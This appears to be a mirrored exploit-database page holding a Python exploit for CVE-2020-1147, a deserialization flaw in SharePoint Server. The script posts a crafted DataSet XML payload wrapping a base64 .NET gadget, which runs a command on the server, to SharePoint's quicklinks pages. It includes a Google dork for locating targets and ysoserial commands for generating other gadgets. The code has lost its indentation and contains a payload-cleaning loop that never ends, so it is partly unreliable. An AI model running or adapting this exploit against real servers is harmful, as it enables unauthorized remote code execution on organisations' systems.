Microsoft SharePoint Server 2019 – Remote Code Execution (2)

  • 作者: Podalirius
    日期: 2021-07-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50151/
  • # Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution (2)
    # Google Dork: inurl:quicklinks.aspx
    # Date: 2020-08-14
    # Exploit Author: West Shepherd
    # Vendor Homepage: https://www.microsoft.com
    # Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
    # Pack 2, SharePoint Server 2019
    # Tested on: Windows 2016
    # CVE : CVE-2020-1147
    # Credit goes to Steven Seele and Soroush Dalili
    # Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
    
    #!/usr/bin/python
    from sys import argv, exit, stdout, stderr
    import argparse
    import requests
    from bs4 import BeautifulSoup
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    from requests_ntlm import HttpNtlmAuth
    from urllib import quote, unquote
    import logging
    
    
    class Exploit(object):
    # To generate the gadget use:
    # ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"
    # ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"
    gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='
    control_path_quicklinks = '/_layouts/15/quicklinks.aspx'
    control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'
    control_path = control_path_quicklinks
    
    def __init__(self, redirect=False, proxy_address='', username='', domain='', password='', target=''):
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    self.username = '%s\\%s' % (domain, username)
    self.target = target
    self.password = password
    self.session = requests.session()
    self.redirect = redirect
    self.timeout = 0.5
    self.proxies = {
    'http': 'http://%s' % proxy_address,
    'https': 'http://%s' % proxy_address
    } \
    if proxy_address is not None \
     and proxy_address != '' else {}
    self.headers = {}
    self.query_params = {
    'Mode': "Suggestion"
    }
    self.form_values = {
    '__viewstate': '',
    '__SUGGESTIONSCACHE__': ''
    }
    self.cookies = {}
    self.payload = """\
    <DataSet>
    <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
    xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true"
    msdata:UseCurrentLocale="true">
    <xs:complexType>
    <xs:choice minOccurs="0" maxOccurs="unbounded">
    <xs:element name="Exp_x0020_Table">
    <xs:complexType>
    <xs:sequence>
    <xs:element name="pwn"
    msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
    System.Web, Version=4.0.0.0, Culture=neutral,
    PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
    PresentationFramework, Version=4.0.0.0, Culture=neutral,
    PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
    type="xs:anyType" minOccurs="0"/>
    </xs:sequence>
    </xs:complexType>
    </xs:element>
    </xs:choice>
    </xs:complexType>
    </xs:element>
    </xs:schema>
    <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
    xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
    <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
    diffgr:hasChanges="inserted">
    <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <ExpandedElement/>
    <ProjectedProperty0>
    <MethodName>Deserialize</MethodName>
    <MethodParameters>
    <anyType
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xsi:type="xsd:string">{GADGET}</anyType>
    </MethodParameters>
    <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
    </ProjectedProperty0>
    </pwn>
    </Exp_x0020_Table>
    </somedataset>
    </diffgr:diffgram>
    </DataSet>""".replace('{GADGET}', self.gadget)
    
    def do_get(self, url, params=None, data=None):
    return self.session.get(
    url=url,
    verify=False,
    allow_redirects=self.redirect,
    headers=self.headers,
    cookies=self.cookies,
    proxies=self.proxies,
    data=data,
    params=params,
    auth=HttpNtlmAuth(self.username, self.password)
    )
    
    def do_post(self, url, data=None, params=None):
    return self.session.post(
    url=url,
    data=data,
    verify=False,
    allow_redirects=self.redirect,
    headers=self.headers,
    cookies=self.cookies,
    proxies=self.proxies,
    params=params,
    auth=HttpNtlmAuth(self.username, self.password)
    )
    
    def parse_page(self, content):
    soup = BeautifulSoup(content, 'lxml')
    for key, val in self.form_values.iteritems():
    try:
    for tag in soup.select('input[name=%s]' % key):
    try:
    self.form_values[key] = tag['value']
    except Exception as error:
    stderr.write('error for key %s error %s\n' % (key, str(error)))
    except Exception as error:
    stderr.write('error for selector %s error %s\n' % (key, str(error)))
    return self
    
    def debug(self):
    try:
    import http.client as http_client
    except ImportError:
    import httplib as http_client
    http_client.HTTPConnection.debuglevel = 1
    logging.basicConfig()
    logging.getLogger().setLevel(logging.DEBUG)
    requests_log = logging.getLogger("requests.packages.urllib3")
    requests_log.setLevel(logging.DEBUG)
    requests_log.propagate = True
    return self
    
    def clean(self, payload):
    payload = payload.replace('\n', '').replace('\r', '')
    while '' in payload:
    payload = payload.replace('', ' ')
    return payload
    
    def get_form(self):
    url = '%s%s' % (self.target, self.control_path)
    resp = self.do_get(url=url, params=self.query_params)
    self.parse_page(content=resp.content)
    return resp
    
    def send_payload(self):
    url = '%s%s' % (self.target, self.control_path)
    # self.get_form()
    self.headers['Content-Type'] = 'application/x-www-form-urlencoded'
    self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)
    self.form_values['__viewstate'] = ''
    resp = self.do_post(url=url, params=self.query_params, data=self.form_values)
    return resp
    
    
    if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True, description='CVE-2020-1147 SharePoint exploit')
    try:
    parser.add_argument("-target", action='store', help='Target address: http(s)://target.com ')
    parser.add_argument("-username", action='store', default='', help='Username to use: first.last')
    parser.add_argument("-domain", action='store', default='', help='User domain to use: domain.local')
    parser.add_argument("-password", action='store', default='', help='Password to use: Summer2020')
    parser.add_argument("-both", action='store', default=False, help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False')
    parser.add_argument("-debug", action='store', default=False, help='Enable debugging: False')
    parser.add_argument("-proxy", action='store', default='', help='Enable proxy: 10.10.10.10:8080')
    
    if len(argv) == 1:
    parser.print_help()
    exit(1)
    options = parser.parse_args()
    
    exp = Exploit(
    proxy_address=options.proxy,
    username=options.username,
    domain=options.domain,
    password=options.password,
    target=options.target
    )
    
    if options.debug:
    exp.debug()
    stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % (
    options.target, options.username, options.domain, options.password, options.debug, options.proxy
    ))
    
    result = exp.send_payload()
    stdout.write('Response: %d\n' % result.status_code)
    if 'MicrosoftSharePointTeamServices' in result.headers:
    stdout.write('Version: %s\n' % result.headers['MicrosoftSharePointTeamServices'])
    if options.both and result.status_code != 200:
    exp.control_path = exp.control_path_quicklinksdialogform
    stdout.write('Trying alternate page\n')
    result = exp.send_payload()
    stdout.write('Response: %d\n' % result.status_code)
    
    except Exception as error:
    stderr.write('error in main %s' % str(error))